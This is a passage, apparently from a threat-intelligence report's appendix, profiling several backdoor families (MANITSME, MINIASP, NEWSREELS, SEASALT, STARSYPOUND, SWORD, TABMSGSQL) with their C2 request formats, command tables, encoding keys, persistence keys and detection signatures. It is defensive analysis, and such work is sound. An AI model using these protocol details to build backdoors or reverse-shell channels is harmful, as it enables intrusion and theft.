SvcHostDLL: ServiceHandler called SERVICE_CONTROL_SHUTDOWN
SvcHostDLL: ServiceHandler called SERVICE_CONTROL_INTERROGATE
SvcHostDLL: ServiceHandler called SERVICE_CONTROL_CONTINUE
SvcHostDLL: ServiceHandler called SERVICE_CONTROL_PAUSE
SvcHostDLL: ServiceHandler called SERVICE_CONTROL_STOP
.PAX
.PAD
%s error %d
Config service %s ok.
RegSetValueEx(ServiceDll)
ServiceDll
GetModuleFileName() get dll path
RegCreateKey(Parameters)
Parameters
RegOpenKeyEx(%s) KEY_SET_VALUE error %d.
SYSTEM\CurrentControlSet\Services\
CreateService(%s) SUCCESS. Config it
CreateService(%s) error %d
%SystemRoot%\System32\svchost.exe -k netsvcs
OpenSCManager()
you specify service name not in Svchost\netsvcs, must be one of following:
RegQueryValueEx(Svchost\netsvcs)
netsvcs
RegOpenKeyEx(%s) KEY_QUERY_VALUE error %d.
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
Iprip
Exception Catched 0x%X
DeleteService(%s) SUCCESS.
OpenService(%s) error %d
OpenSCManager() error %d
Session=close
GW-IP=
SessionID=
Accept: */*
Content-Type: text/xml; charset=utf-8
Content-Length: %d
/gateway/gateway.dll?SessionID=%s
/gateway/gateway.dll?Action=poll&SessionID=%s
/gateway/gateway.dll?Action=open&Server=%s&IP=%s
gateway.messenger.hotmail.com
messenger.hotmail.com
748596
```

MANITSME – Malware Profile

MANITSME contains two parts: an installer and a DLL that will be installed as a persistent service. The installer includes a help menu (invoked by the –h option).

```
Example:

C:\Documents and Settings\Administrator\Desktop>install_ela.exe -h
v1.0   No Doubt to Hack You, Writed by UglyGorilla, 06/29/2007
--------------------------------------------------------------
USAGE:
        install_ela.exe  -h
                --Display the usage of this program.
        install_ela.exe  -f
                --Display the detail information of services hosted by
SVCHOST.
        install_ela.exe  -i svcname [-n DllName]
                -- -i Install an Service hosted by SVCHOST.
                -- -n The Dll file that to be released.
--------------------------------------------------------------
```

Figure 14: MANITSME Installer Help Menu

Option	Description
-f	List services on the system with metadata about those services
-i	Install a new service
-n	Name of the file that backs the installed service
-h	The help menu

Table 25: MANITSME Installer Options

The installer will copy the contents of the DLL to the %SYSTEMROOT%\system32 folder. The new service (name chosen at install time) is called by `svchost.exe`
Once installed as a service, MANITSME will beacon to a pre-configured C2 server on port 443 with the text `Man,it's me.` The malware will expect the same string to continue further instructions, if the string is not found; the malware will sleep and try again after a random number of seconds.
MANITSME has these main capabilities:

Function	Additional Description
Create processes	Ability to start a program (CreateProcess)
Exit	
File upload/download	
Interactive command shell	

Figure 15: MANITSME functionality

The malware will send out various strings at different times. If there is an error in a call to CreateProcess, the string "`Oh, shit`" is sent to the attacker, otherwise "`Hallelujah`" upon success. "`Paraing`" is sent when a file is downloaded from the client to the attacker.

Persistence Mechanism

- The malware adds itself to the registry Run key at the following locations:
  - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\<service name>\Parameters\ServiceDll`
  - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\netsvcs`

Host-Based Signatures

- The installer copies the DLL provided to the directory:
    - %SYSTEMROOT%\system32

Network-Based Signatures

- The following strings appear in traffic generated by the installed DLL:
    - Hey,it's me man
    - Hallelujah
    - Oh, shit
    - !$##$#$%@!$
    - Paraing

Unique Strings - Installer

```
Wrong Parameters!
Install Failed!
v1.0   No Doubt to Hack You, Writed by UglyGorilla, 06/29/2007
--------------------------------------------------------------
USAGE:
%s  -h
--Display the usage of this program.
%s  -f
--Display the detail information of services hosted by SVCHOST.
%s  -i svcname [-n DllName]
-- -i Install an Service hosted by SVCHOST.
-- -n The Dll file that to be released.
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
SYSTEM\CurrentControlSet\Services\%s\Parameters
netsvcs
Service name:
SERVICE_AUTO_START
Start Type:
SERVICE_BOOT_START
SERVICE_DEMAND_START
SERVICE_DISABLED
SERVICE_SYSTEM_START
BinaryPathName:
ServiceStartName:
ServiceDisplayName:
SERVICE_WIN32_OWN_PROCESS
Service Type:
SERVICE_WIN32_SHARE_PROCESS
SERVICE_KERNEL_DRIVER
SERVICE_FILE_SYSTEM_DRIVER
SERVICE_INTERACTIVE_PROCESS
SERVICE_CONTINUE_PENDING
Current State:
SERVICE_PAUSE_PENDING
SERVICE_PAUSED
SERVICE_RUNNING
SERVICE_START_PENDING
SERVICE_STOP_PENDING
SERVICE_STOPPED
ProcessID:
ServiceDll
ServiceDll:
ErrorCode    : %d
ErrorMessage: %s
svchost.exe
```

```
%SystemRoot%\System32\svchost.exe -k netsvcs
OpenSCManager()
SYSTEM\CurrentControlSet\Services\
Parameters
StartService
QueryServiceStatus()
bad locale name
false
true
ios_base::badbit set
ios_base::failbit set
ios_base::eofbit set
bad cast
bad allocation
raB3G)
e+000
GAIsProcessorFeaturePresent
KERNEL32
1#QNAN
1#INF
1#IND
1#SNAN
RSDS
d:\My Documents\Visual Studio Projects\rouji\release\Install.pdb
Copyright (c) 1992-2004 by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS
RESERVED.
```

Unique Strings - DLL

```
Paraing
!$##$#$%@!$
Open File Error
Man,it's me
Oh,shit
Hallelujah
nRet == SOCKET_ERROR
SendTo(s,(char *)&sztop,sizeof(sztop),FILETYPE) == ERRTYPE
CloseHandle(fp)
ComSpec
@csm
RSDS
d:\My Documents\Visual Studio Projects\rouji\SvcMain.pdb
WS2_32.dll
RegisterServiceCtrlHandlerA
SetServiceStatus
ADVAPI32.dll
TransmitFile
LoadLibraryA
SetEndOfFile
HeapSize
KERNEL32.dll
RaiseException
SvcMain.dll
ServiceMain
```

MINIASP – Malware Profile

MINIASP is a backdoor that retrieves encoded commands over HTTP. It is executed with three parameters, as follows:

```
AcroRD32.exe <server> <ID> <filename>
```

Figure 16: MINIASP parameters

This causes the malware to create a new copy of itself at %CURRENTDIRECTORY%\<filename>, modifying the encoded ID and server values in the binary. The malware searches through itself for the string "i4is". Once it finds this string, it encodes the new <ID> value, and overwrites the "i4is" string in the new binary with the encoded value. The malware then encodes the new <server> and overwrites the string stored 128 bytes from the beginning of where the "i4is" string was located in the new binary.

If the malware has not been executed with any parameters, it decodes its ID and server strings. The malware issues a GET request to the decoded server name taking the form shown below in Figure 17.

```
GET /device_<decoded ID string>asp?device_t=<random 10 digits>&key=<random 8 lowercase
letters>&device_id=<decoded ID string>&cv=<random 17 lowercase letters>
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml,
image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-
excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-gb
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;
.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host: <decoded_server>
```

Figure 17: MINIASP Initial GET Request

The malware expects the data received in return to not exceed 200 bytes and it expects the data to contain <device><encoded data></device>.

The decoded data can contain multiple commands, with each command separated by a semicolon. A listing and description of each of the commands is shown below in Table 26.

Function	Command	Description
File download	upload <file URL> <local filename>	The malware downloads the <file URL> to %CURRENTDIRECTORY%\<local filename>.
Establish connection	send <data>	Allows the malware to receive data from the server that it currently does nothing with. This functionality could be added in a later version.
	mode 1	Sets the malware's mode to 1, which it currently does nothing with. The default mode is 0. This functionality could be added in a later version.
	mode 0	Sets the malware's mode to 0, which it currently does nothing with. The default mode is 0. This functionality could be added in a later version.
Download and execute file / Interactive command shell	run <file URL> <local filename or shell command>	The malware downloads the <file URL> to %CurrentDirectory%\<local filename>, and then executes it. If just a shell command is provided, the malware executes that command.
Set sleep interval	set delay <number>	The amount of time to sleep in seconds in between requests for commands from the server. The default is 1 hour.
Set sleep interval	set cmddelay <number>	The amount of time to sleep in seconds before executing any commands received. The default is 10 seconds.

Set sleep interval	sleep <number>	The number of hours to sleep before requesting another command from the server.

Table 26: MINIASP functionality

For the upload and run commands, if no <local filename> is provided, the malware will write the data to %CURRENTDIRECTORY%\<5 random lowercase characters>.exe. The malware expects the <file URL> string to begin with "http:", otherwise it will not attempt to download the file. The malware then attempts to download data from the requested URL using the same HTTP GET header information as used in Figure 17. The malware expects the data received from the server to begin with the byte sequence "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A". After this byte sequence, the malware will search through the rest of the data for the byte sequence "\x7A\x54\x58\x74\x68\x68\x68\x68". The malware then uses the 4 bytes before and after the byte sequence "\x7A\x54\x58\x74\x68\x68\x68\x68" to generate an XOR key. The 4 bytes preceding the byte sequence "\x7A\x54\x58\x74\x68\x68\x68\x68" indicates the size of the XOR key, minus 8. The 4 bytes following the byte sequence "\x7A\x54\x58\x74\x68\x68\x68\x68" is used as a seed to generate the key. The data immediately following the seed value is then encoded using XOR with the obtained key. The length of the decoded data is the same length as the generated XOR key. The resulting decoded data is then written out to the file indicated previously. If the malware is not able to create this file, it attempts to write to %CURRENTDIRECTORY%\11.jpg instead. If the run command is provided, the malware attempts to execute the newly created file.

As mentioned previously, the run command is able to download and execute a file from a given URL, execute a local file, or execute a shell command. If the second parameter is a valid file and has a .exe extension, then the malware will execute it. If the second parameter is a valid file, does not have that file extension, but contains data in the format /cd=<sleep time> <shell command>, the malware executes the shell command and then sleeps the requested time in milliseconds to allow for the command to finish executing. If the second parameter is not a valid file, it will be a shell command. The malware will execute shell commands and send back any data outputted by that command.

Once the malware has completed processing the commands received, it sends a GET request in the form shown in Figure 18.

```
GET /record.asp?device_t=<random 10 digits> &key=<random 8 lowercase
letters>&device_id=<decoded ID string>&cv=<random 17 lowercase letters>&result=<URL
encoded result data>
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml,
image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-
excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-gb
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;
.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host: <decoded_server>
```

Figure 18: GET request format after command executed

The data sent in the <URL encoded result data> in the GET request tells the attacker the result of the previously executed command, as enumerated below in Table 27. The <URL encoded result data> is encoded as a safe URL using the RFC1738 standard.

Command	Success/Failure Response	Syntax of the repsonse
upload <file URL> <local filename>	Failure – <file URL> does not begin with "http:"	upload <file URL> <local filename>\x0D\x0Aupload ok!\x0D\0A
upload <file URL> <local filename>	Success	upload <file URL> <local filename>\x0D\x0Aupload ok!\x0D\0A
upload <file URL>	Failure – not able	upload <file URL> <local

<local filename>	to upload data	filename>\x0D\x0Aupload error!\x0D\0A
send <data>	Success	send <data>\x0D\x0Asend ok!\x0D\x0A
send <data>	Failure	send <data>\x0D\x0Asend error!\x0D\x0A
mode 1	N/A	mode 1\x0D\0A
mode 0	N/A	mode 0\x0D\0A
run<shell command>	Failure	run <shell command>\x0D\x0Atime out error!\x0D\x0A
run<shell command>	Success	run <shell command>\x0D\x0A
run<local filename>	N/A	run <local filename>\x0D\x0Arun <local filename> ok!\x0D\x0A
run<file URL> <local filename>	Success	run <file URL> <local filename>\x0D\x0Adownload ok!\x0D\x0A run <local filename> ok!\x0D\x0Arun ok!\x0D\x0A
run <file URL> <local filename>	Download – Success Execute - Failure	run <file URL> <local filename>\x0D\x0Adownload ok!\x0D\x0A run <local filename> error!\x0D\x0Arun error!\x0D\x0A
run <file URL> <local filename>	Failure - download	run <file URL> <local filename>\x0D\x0Adownload error!\x0D\x0A
set delay <number>	N/A	set delay <number>\x0D\x0A
set cmddelay <number>	N/A	set cmddelay <number>\x0D\x0A
sleep <number>	N/A	sleep <number>\x0D\x0Awakeup=<Date/Time malware sleeps to>\x0D\x0A
<Invalid Command>	N/A	<Invalid Command>\x0D\x0A

Table 27: MINIASP response data

Immediately after sending the GET request in Figure 18, the malware then sends a POST in the format shown in Figure 19.

```
POST /device_input.asp?device_t=<random 10 digits> &key=<random 8 lowercase
letters>&device_id=<decoded ID string>&cv=<random 17 lowercase letters>
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml,
image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-
excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-gb
Content-Length: <length of data>
Content-Type: application/x-www-form-urlencoded
User-Agent: <unknown 4 bytes>Windows NT 6.1; )
Host: <decoded server>
Connection: Keep-Alive
Cache-Control: no-cache

connect_num=10&tcp_port=65012&device_result=<result_data>&MM_update=form1&button_devic
e_post=submit
```

Figure 19: POST data sent back to server after command executed

The <result_data> field contains the same information as in Table 27 for all commands except for run <shell command>, when it is successful. In this case, the malware appends any data generated while executing that command after "run <shell command>\x0D\x0A". All <result_data> sent in the POST data is first encoded, and is then URL encoded before it is transmitted.

After sending this POST data to the server, the malware will sleep the number of milliseconds provided by the delay command. The default for this is one hour. The malware then checks to see if the sleep command has been set, and if so it will sleep until the allotted time. The default allotted time for this value is zero milliseconds. The malware then sleeps the number of milliseconds provided by the delay command again before attempting to retrieve another command from the server using the same HTTP GET request as shown in Figure 17.

Host-Based Signatures

- The malware may create a log file at `%CURRENTDIRECTORY%\wininet.lll`.
- The malware may create the following files:
  - `%CURRENTDIRECTORY%\11.jpg`
  - `%CURRENTDIRECTORY%\<5 random lowercase characters>.exe`

Network-Based Signatures

- The malware uses the HTTP user-agent string:
  - `Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)`

Unique Strings

```
aspweb
miniasp
time out error!
cmd /c %s
/cd=
 ok!
run
.exe
wakeup=
@sleep
set cmddelay
set delay
download error!
run error!
run ok!
download ok!
http
mode 0
mode 1
send error!
send ok!
send
upload error!
upload ok!
http:
%s.exe
upload
result=%s
PutResult
command=
command=%s
command is wrong!
no command
command is null!
Accept-Language: en-gb
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml,
image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-
excel, application/vnd.ms-powerpoint, application/msword, */*
http://%s/record.asp?device_t=%s&key=%s&device_id=%s&cv=%s&result=%s
%sWindows NT 6.1; %s)
connect_num=10&tcp_port=65012&device_result=%s&MM_update=form1&button_device_post=subm
it
http://%s/device_input.asp?device_t=%s&key=%s&device_id=%s&cv=%s
<device>
</device>
http://%s/device_%s.asp?device_t=%s&key=%s&device_id=%s&cv=%s
```

```
%d %d
Connect Error!
Request Error!
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0 )
wininet.lll
11.jpg
%s%s%s
q0nc9w8edaoiuk2mzrfy3xt1p5ls67g4bvhj
200 OK
HTTP/
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;
.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
i4is
4fi.fdssuz56.888
%s %s %s
handle not opened...
request failed...
additional header failed...
HTTP/1.0
Accept: text/javascript, application/javascript, */*
POST
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Content-Type: multipart/form-data; boundary=----------ae0ae0gL6GI3ae0Ij5ae0cH2cH2ei4
request failed
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml,
image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-
excel, application/vnd.ms-powerpoint, application/msword, */*
response failed...
connection failed...
https
open internet failed...
connect failed...
```

NEWSREELS – Malware Profile

NEWSREELS is an HTTP based backdoor. When first started, NEWSREELS decodes two strings from its resources section. The malware uses the alphabet string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#=" for a modified Base64 encoding and the string "thequickbrownfxjmpsvalzydg" as a simple substitution cipher.

The malware sends a POST request to the first decoded URL. This POST request acts like a beacon to the remote host and is sent periodically. The POST parameters are the result of the following format string:

```
name=WinUpdater&userid=%04d&other=%c%s
```

Figure 20: NEWSREELS HTTP POST

The %c is the letter 'M' and the %s is the string "\nConnection Coming!\n\n. The %04d is a four-digit zero-padded length for the encoded string. Other POST requests follow the same pattern, but the %s will be a different message. Most POST requests start with the character 'M', but some may start with 'F' (file data).

After sending the beacon packet NEWSREELS starts a command shell "%SYSTEMROOT%\system32\cmd.exe /k". This cmd.exe is used as a reverse shell throughout the execution of the malware.

When a beacon has been sent and the reverse shell is running, the malware contacts the next decoded URL, using a GET request. The file returned by the server contains an embedded command. Six bytes from the end of the file is a four-byte offset value specifying the offset within the file that the encoded data starts. All data from this offset (to six bytes from the end of file) is considered to be part of the encoded data.

Name	Length	Functionality
Ignored data	variable	Data is ignored
Magic	4-bytes	Magic value 0xBCB702FF (offset dictated by "data offset")
Encoded data	variable	Encoded string (see Figure 2) length is (filesize – data_offset – 10)
Data offset	4-bytes	Offset to start of magic ([EOF-6] is offset to value)

Table 28: Format of file sent by C2 server

If the encoded data starts with "http://" or "jpghttp://" the malware will download the link to %TEMP%\temp.tmp and immediately move it to %TEMP%\<URL_LINK_NAME>. If the link starts with "jpg" there is an extra layer of decoding that is performed once the file has been downloaded.
If the encoded data doesn't start with one of the two strings above, it is a command other than to download a file. The available commands are shown below in Table 29.

Function	Command	Description
Set sleep interval	sleep:	Sleep the specified number of minutes
File upload	gf:	Uploads file (starting at specified offset) using HTTP POST with starting char 'F'
File upload	httpput	Uploads file using HTTP PUT
Create processes	!	Executes command using "cmd.exe /c"
Interactive command shell	N/A	Other commands are sent directly to the cmd shell

Table 29: NEWSREELS functionality

Host-Based Signatures

- The malware downloads additional files to %TEMP%\<LINK_NAME>, where <LINK_NAME> is the filename of the downloaded URL.

- The malware maintains a handle to a “cmd.exe /k” process.

Network-Based Signatures

- The malware uses the User-Agent string from “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent” or the static value “Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0)” if the registry contains nothing.
- The body of HTTP POST requests will contain the string name=<name>&userid=<userid>&other=<code><body> (where <name> is a randomly chosen string the malware uses to identify itself with the C2 server, <userid> is a number, <code> is the letter M or F, and <body> is an encoded string with the actual contents.)

Unique Strings

```
8GovdJlDSmhEmDQpU##xa1sXk42RM38mE3ZOZ7V8VMXvNEEKX@XiSIo@p<GovdJlDSmhEmDQpU##xa1sXk42RM
38mE3ZOZ6Fb=JY7b3lbTMHVTF4mXHIdK
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#
noclient
wait
active
hello
\cmd.exe
http://
InternetReadFile
Wininet
!!!!!
xxxxx
exit
exit
wait
jpghttp://
Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0)
name=%s&userid=%04d&other=%c%s
Content-Type: application/x-www-form-urlencoded
POST
xxxxx: %d!
\cmd.exe /c
Open
 > nul
/c del
COMSPEC
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#=
thequickbrownfxjmpsvalzydg
```

SEASALT – Malware Profile

When SEASALT is first installed, it attempts to retrieve a hard-coded URL but the received data is never checked or processed. The malware uses a hard-coded HTTP user-agent string, as shown in an example HTTP GET request in Figure 21.

```
GET /postinfo.html HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98) KSMM
Host: ubuntuguru.strangled.net
Connection: Close
```

Figure 21: SEASALT HTTP GET

Regardless of whether the HTTP GET succeeds or not the malware then reads obfuscated configuration data stored in the last 512 bytes of itself. This data is checked that it starts with the string "`configserver`". Following this string is XOR single byte encoded (`0x5c`) data that contains the hostname and port of the C2 server. The malware resolves the hostname from the configuration and checks whether or not it resolves to `127.0.0.1`. If so it sleeps and periodically tries to resolve the host again.

The malware uses a custom binary protocol to communicate with the C2 server. After a connection is made to the server the client sends the string "`fxftest`". It then reads 7 bytes from the server and expects to receive the same string. Next it sends a 512-byte buffer that contains the compromised hostname and its IP address. The malware then starts accepting 0x104-byte-sized buffers from the C2 server. The first DWORD indicates the command to perform, and the rest of the buffer contains any required parameters XOR encoded with 0x55.

Function	Command	Description
Gather system information	1	Returns a 0x100-byte length buffer containing logical drives on the system and their types. Data is XOR encoded with 0x55.
Read files	2	Returns a directory listing of the specified directory. Returned data is XOR encoded with the value 0x55.
Create processes	3	Starts executing the specified file.
Modify files	4	Deletes the specified file.
File download	5	Receives data, writes it to the specified file.
File upload	6	Sends data to the server, reading from the specified file.
List processes	7	Performs a process listing. The returned data is XOR encoded with the value 0x55.
Modify processes	8	Terminate the specified process.
Interactive command shell	9	Start a new `cmd.exe` child process to use as a remote shell.
Interactive command shell	10	Write the given string to the `STDIN` of the child cmd.exe process. Monitor the output and return to the server XOR encoded with the value 0x55.
Kill processes	11	Shutdown the `cmd.exe` child process.
Establish connection	12	Reads an additional 7 bytes from the server and immediately sends them back to the server – a simple echo service.
Set sleep interval	13	Sleep the specified number of milliseconds.

Table 30: SEASALT functionality

Persistence Mechanism

- The malware is capable of installing itself as a service named SaSaut. This will appear under the registry key `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SaSaut`. Service parameters used by the malware include:
    - o Binary Path: `%SYSTEMROOT%\System32\svchost.exe -k SaSaut`

- Display Name: System Authorization Service
- Description: Authorization and authentication service for starting and accessing machines.

Host-Based Signatures

- The malware was has a named DLL export of `svc.dll`
- The malware contains the following named exports:
  - `ServiceMain`
  - `InstallService`
  - `UninstallService`
  - `Uninstall`
  - `Install`
  - `MyService`

Network-Based Signatures

- The malware uses the following HTTP user-agent string :
  - `Mozilla/4.0 (compatible; MSIE 5.00; Windows 98) KSMM`

Unique Strings

```
svc.dll
Install
InstallService
MyService
ServiceMain
Uninstall
UninstallService
SaSaut
System Authorization Service
Authorization and authentication service for starting and accessing machines.
configserver
ServiceDll
Description
Parameters
SYSTEM\CurrentControlSet\Services\
%SystemRoot%\System32\svchost.exe -k SaSaut
OpenSCManager()
SaSaut
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
fxftest
127.0.0.1
Connection: Close
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98) KSMM
 HTTP/1.1
Accept: */*
GET /
%s%d
%4d-%02d-%02d %02d:%02d:%02d
upfileok
upfileer
cmd.exe
configserver)/r(ndr29(xhhoxxx2)00xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

STARSYPOUND – Malware Profile

STARSYPOUND provides an interactive remote shell over an obfuscated communications channel. When it is first run, it loads a string (from the executable PE resource section) containing the beacon IP address and port.

The malware sends the beacon string "`*(SY)# <HOSTNAME>`" to the remote system, where `<HOSTNAME>` is the hostname of the victim system. The remote host responds with a packet that also begins with the string "`*(SY)# cmd`". This causes the malware to launch a new `cmd.exe` child process. Further communications are forwarded to the `cmd.exe` child process to execute. The commands sent to the shell and their responses are obfuscated when sent over the network.

Function	Command	Description
Create processes	`*(SY)# cmd`	Launch a new `cmd.exe` child process

Table 31: STARSYPOUND functionality

Network-Based Signatures

- The following strings appear in network traffic:
  - `*(SY)#`
  - `*(SY)# cmd`
- When the malware beacons to the remote host it sends a packet of the following form:
  - `*(SY)# <HOSTNAME>`

Unique Strings

```
*(SY)# cmd
*(SY)#
send = %d
*(SY)#
cmd.exe
exit
Open
 > nul
/c del
COMSPEC
127.0.0.1:80
```

SWORD – Malware Profile

When SWORD runs it first loads configuration data stored as an obfuscated string inside the PE resource section. The string is deobfuscated and parsed to provide an IP address and port for the malware to establish a connection. The malware then opens a simple TCP connection to the IP address and port. The malware provides a reverse shell to the user and supports the commands shown in Table 32, below. It sends the three-line marker string shown in Figure 22 between each command. All other commands are treated as a command to execute in a new `cmd.exe` child instance. The output of the commands are read and sent to the control server.

```
    /*
@***@*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>>>
    \*
```

Figure 22: Command marker

Function	Command	Description
Change directories	`cd <dir>`	Change directory to `<dir>`
File download	`down: <url>`	Download a file from the `<url>` provided. Optionally execute the file.
Set sleep interval	`sleep:<val>`	Sleep for `<val>` minutes.
Exit	`Quit` `exit`	Terminates the shell.

Table 32: SWORD functionality

The `down:` command causes the malware to download the specified file to the local system. It uses an HTTP user-agent string of `Agent%ld`, where the `%ld` is replaced with the number of milliseconds the compromised system has been running. The malware can optionally execute the file, but this functionality is not used.

Network-Based Signatures

- File downloads are performed over HTTP with the following User-Agent string:
    - `Agent%ld`
        - where the `%ld` is replaced with the number of milliseconds the compromised system has been running.
- The malware sends the 3 line marker string shown in Figure 22 between commands.

Unique Strings

```
`1234567890-
=~!@#$^&*()_+qwertyuiop[]QWERTYUIOP|asdfghjkl;'ASDFGHJKL:zxcvbnm,./ZXCVBNM<>?
thequickbrownfxjmpsvalzydg
Dcryption Error! Invalid Character '%c'.
Accept: */*
Agent%ld
*========== Bye Bye ! ==========*
The system cannot find the drive specified.
The directory name is invalid.
The filename, directory name, or volume label syntax is incorrect.
****** Hey, wake up! ******
...... Having a rest, just wait %d minutes! ......
sleep:
down
down:
quit
exit
```

```
Recieve data error!
\cmd.exe /c
    /*
@***@*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>>>
    \*
.exe
Open
 > nul
/c del
COMSPEC
```

TABMSGSQL– Malware Profile

TABMSGSQL crafts raw SQL queries and passes these as encoded URL parameters when communicating with the C2 server. Three tables are accessed by both TABMSGSQL client, as shown in Table 33.

Table Name	Description	Column Names
tab_online	Contains information about each client connected to the C2 server	mode, clientname, clientip, accessip, onlinetime, lasttime, regcode
tab_message	Stores all commands pending for clients, and stores responses from clients. Also stores status messages from clients (info messages).	messageaction, fromid, toid, encodenum, messagetotallength, messagepiecelength, messagepieceindex, messagecontent, messagename
tab_file	Stores file uploaded by clients and the admin. Files are stored as chunks whose maximum size is 60,000 bytes.	encodenum, filetotallength, filepiecelength, filepieceindex, filecontent, filename, filehash

Table 33: TABMSGSQL database tables

The initial malware check-in GET request will resemble that shown in Figure 23.

```
GET
/indexbak.asp?rands=IXLCGIXELZ&acc=&str=select%20id%20from%20tab_online%20where%20regc
ode%20=%20'IXLCGIXELZ' HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; )
Accept: */*
Host: <hostname>
Connection: Keep-Alive
```

Figure 23: TABMSGSQL GET Request

The URI `str` parameter encodes the SQL statement "`select id from tab_online where regcode = 'IXLCGIXELZ'`", where the regcode value is a random 10-character string selected on program startup. Every HTTP URI generated by the malware will append at least the "rands=" parameter, where that string is randomly chosen on each HTTP request.

The malware client periodically polls the C2 server, sending the SQL query "`select top 1 * from tab_message where toid = '<client_id>' and messageaction<>'file' order by id asc`" encoded in the URI to retrieve pending commands queued for itself. The malware understands the commands list in Table 34.

Function	Command	Description
Interactive command shell	shell	Copies %SYSTEMROOT%\system32\cmd.exe to %TEMP%\rusinfo.exe and executes it if not already running. The rusinfo.exe file is deleted once the process ends. Sends the given command to the rusinfo.exe process to execute. If the rusinfo.exe is already running, just send the given command to rusinfo.exe to execute.
File upload	filectos	Upload the specified file to the C2 server, breaking the file into 60,000 byte chunks.
File download	filestoc	Download the specified file from the C2 server, writing it to the specified local file.
Uninstall	remove	Stop polling the C2 server and perform a self-delete.
Set sleep interval	sleep	Set the poll interval between retrieving commands (in milli-seconds).

Table 34: TABMSGSQL functionality

When the malware is given the "-c" command line option it enters administrative mode. It first performs a check-in with the C2 server to ensure a connection is available. It then opens a new console and requires two separate pieces of text to be entered by the user before providing full administrative control. A sample session is shown below in Figure 24, where the words **yes** and **enter** must be entered before the malware's user prompt is available.

```
Are you sure to FORMAT Disk C With NTFS?(Y/N)yes
Alert!Pls press enter to make sure!enter

$
```

Figure 24: Initial TABMSGSQL Admin Prompt

Once the user enters the correct challenge words they can enter any of the commands shown in Table 35 to view the state of the C2 server and schedule commands for arbitrary clients. File upload and download to the C2 server is also supported in this mode.

Command	Description
`cls`	Clear the admin console screen.
`listclients/lcs`	Retrieve all entries of the `tab_online` table, showing all clients that have checked in to the C2 server.
`listmessages/lms`	Retrieve all entries in the `tab_message` table, showing all queued commands to clients and client responses.
`listfiles/lfs`	Retrieve filename and file length data from the `tab_file` table.
`delclient/delc`	Delete the specified client from `tab_online`.
`delmessage/delm`	Delete the specified message from `tab_message`.
`delfile/delf`	Delete the specified file entry from `tab_file`.
`debugfile/dbgf`	Retrieve information from `tab_file` for the specified filename.
`debugclient/dbgc`	Retrieve information from `tab_online` for the specified client.
